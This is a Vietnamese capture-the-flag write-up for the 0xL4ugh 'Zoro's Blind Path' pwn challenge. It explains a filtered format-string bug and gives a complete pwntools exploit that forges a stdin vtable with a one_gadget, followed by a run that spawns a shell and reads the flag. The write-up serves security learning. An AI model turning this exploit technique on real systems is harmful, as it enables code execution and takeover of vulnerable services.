0xL4ugh CTF V5

Zoro's Blind Path

February 14, 2026 January 24, 2026 Medium
Author Author Hung Nguyen Tuong

Recon

Mitigation

$ pwn checksec app
[*] '/home/hungnt/ctfs/0xl4ugh/zoros_blind_path/Zoro's Blind Path/app'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

GLIBC Version

pwndbg> libc
libc version: 2.23
libc source link: https://ftp.gnu.org/gnu/libc/glibc-2.23.tar.gz

Glibc 2.23 khả năng cao là fsop, ghi đè vtable, vì ở glibc 2.24 vtable lần đầu bị thêm check.

Code

main()

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf2[16]; // [rsp+0h] [rbp-128h] BYREF
  char buf1[264]; // [rsp+10h] [rbp-118h] BYREF
  unsigned __int64 v6; // [rsp+118h] [rbp-10h]

  v6 = __readfsqword(0x28u);
  setup(argc, argv, envp);
  banner();
  puts("Zoro is lost again...");
  puts("This scroll hides its secrets, but gives you one clue:");
  printf("[+] Clue: %p\n", stdout);
  puts("Write your path:");
  if ( fgets(buf1, 264, stdin) )
  {
    if ( !(unsigned int)valid_format(buf1) )
      goto exit;
    printf(buf1);
    puts("\nWrong path... try again:");
    if ( fgets(buf2, 10, stdin) )
    {
      if ( (unsigned int)valid_format(buf2) )
      {
        printf(buf2);
        puts("\nZoro wanders off...");
        return 0;
      }
exit:
      sanitize_part_0();
    }
  }
  return 0;
}

Ở đây có 2 phát format string bug.

valid_format()

__int64 __fastcall valid_format(const char *buf)
{
  size_t len; // rax
  size_t v3; // rdx
  size_t v4; // rcx
  char v5; // si
  int v6; // edi

  len = strlen(buf);
  if ( !len )
    return 1LL;
  v3 = 0LL;
  while ( 1 )
  {
    if ( buf[v3] != 37 )
      goto LABEL_3;
    v4 = v3 + 1;
    if ( len <= v3 + 1 )
      return 0LL;
    v5 = buf[v3 + 1];
    if ( (unsigned __int8)(v5 - 48) <= 9u )
      break;
    v6 = 0;
LABEL_10:
    if ( v5 == 104 )
    {
      v3 = v4 + 1;
      if ( len <= v4 + 1 )
        return 0LL;
      v5 = buf[v4 + 1];
      if ( v5 != 104 )
        goto LABEL_14;
LABEL_26:
      v3 = v4 + 2;
LABEL_22:
      if ( v3 >= len )
        return 0LL;
      v5 = buf[v3];
      goto LABEL_14;
    }
    if ( v5 == 108 )
    {
      v3 = v4 + 1;
      if ( len <= v4 + 1 )
        return 0LL;
      v5 = buf[v4 + 1];
      if ( v5 != 108 )
        goto LABEL_14;
      goto LABEL_26;
    }
    if ( (v5 & 0xEF) == 106 || (v3 = v4, v5 == 116) )
    {
      v3 = v4 + 1;
      goto LABEL_22;
    }
LABEL_14:
    if ( v5 == 99 )
    {
      if ( v4 != v3 )
        return 0LL;
      v3 = v4 + 1;
      if ( len <= v4 + 1 )
        return 1LL;
    }
    else
    {
      if ( v5 != 110 || v6 )
        return 0LL;
LABEL_3:
      if ( len <= ++v3 )
        return 1LL;
    }
  }
  while ( len > ++v4 )
  {
    v5 = buf[v4];
    if ( (unsigned __int8)(v5 - 48) > 9u )
    {
      v6 = 1;
      goto LABEL_10;
    }
  }
  return 0LL;
}

Sau khi hỏi Claude, thì về cơ bản là mình chỉ được sử dụng mỗi %[width]c và %[modifier]n trong format string, không gì khác.

Solve

Mục tiêu của mình là ghi đè vtable của stdin, hay stdout, stderr để có RCE.

Ban đầu mình nhắm vào vtable của stdout, được sử dụng bởi printf(), để khi printf(buf2) sẽ spawn shell. Nhưng ko được, bởi vì mình đang ghi vào stdout bằng printf(buf1), nghĩa là đang dùng stdout, nên trong lúc ghi mà vtable bị thay đổi là sigsegv luôn.

Thế thì mình nhắm vào stdin để spawn shell lúc gọi fgets() lần 2, và nó ok, việc cần làm là:

  1. Tạo một fake vtable ở vùng ghi được trong libc, ghi địa chỉ one_gadget vào entry tại offset 0x28 (__uflow()). Thật may là one_gadget với constraint rsp + 0x50 == NULL chạy ok. Trước đó mình thử system(), nhưng cái này yêu cầu phải ghi được “sh” vào stdin mới được, mà mình cần giữ trường flags nên one_gadget cho nhanh.
  2. Ghi địa chỉ của fake vtable vào stdin+0xd8.
  3. Ghi trường flags hợp lệ sao cho path đến __uflow() được thực thi. Sau một hồi thử với Claude thì mình thấy 0xfbad2288 chạy ngon luôn.

Vì format string bị giới hạn, ko dùng luôn thư viện của pwntools để viết payload được. Nên cần phải viết tay và căn chỉnh thủ công.

Script

#!/usr/bin/env python3

from pwn import *

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len

exe = ELF("app_patched", checksec=False)
libc = ELF("libc-2.23.so", checksec=False)
ld = ELF("ld-2.23.so", checksec=False)

context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
b *main+141
b *__fake_uflow
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        sleep(0.1)
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
            sleep(0.5)
        return p
    else:
        host = "localhost"
        port = 1337
        return remote(host, port)

p = conn()

ru(p, b'Clue: ')
libc.address = leak_hex(rn(p, 14), 0x3c5620)
lg("libc base", libc.address)

one_gadget = libc.address + 0xf03a4
fake_uflow = libc.address + 0x3c4800

stdin = libc.address + 0x3c48e0

fake_vtable = fake_uflow - 0x28
stdin_vtable = stdin + 0xd8

lg("one gadget", one_gadget)
lg("fake uflow", fake_uflow)
lg("stdin", stdin)
lg("fake vtable", fake_vtable)
lg("stdin vtable", stdin_vtable)

words = []
for i in range(3):
    word = (one_gadget >> (i*16)) & 0xffff
    words.append((word, fake_uflow + i * 2))
    word = (fake_vtable >> (i*16)) & 0xffff
    words.append((word, stdin_vtable + i * 2))

# Flags: 0xfbad2288 works
word = 0xad22
words.append((word, stdin + 1))
words = sorted(words)

pl = '%c'*21
c = pl.count('%')

for i in range(len(words)):
    if words[i][1] == stdin:
        pl = f'{pl}%{words[i][0] - c}c%n'
    elif words[i][0] == c:
        pl = f'{pl}%hn'
    else:
        pl = f'{pl}%{words[i][0] - c}c%hn'
    c = words[i][0]

pl = pl.encode().ljust(8*15, b'A')

for i in range(len(words)):
    pl += p64(words[i][1])
    if i < len(words) - 1 and words[i][0] == words[i+1][0]:
        continue
    pl += pad(8)

lg("payload len", len(pl))

sla(p, b'path', pl)

ru(p, b'try again:\n')
ia(p)
$ py solve.py
[+] Opening connection to localhost on port 1337: Done
libc base -> 0x79f91f254000
one gadget -> 0x79f91f3443a4
fake uflow -> 0x79f91f618800
stdin -> 0x79f91f6188e0
fake vtable -> 0x79f91f6187d8
stdin vtable -> 0x79f91f6189b8
payload len -> 0xe0
[*] Switching to interactive mode
$ ls
app
flag
$ cat flag
0xL4ugh{Z0R0_F1N4LLY_F0UND_TH3_FM7_P47H_d5f66465add34228}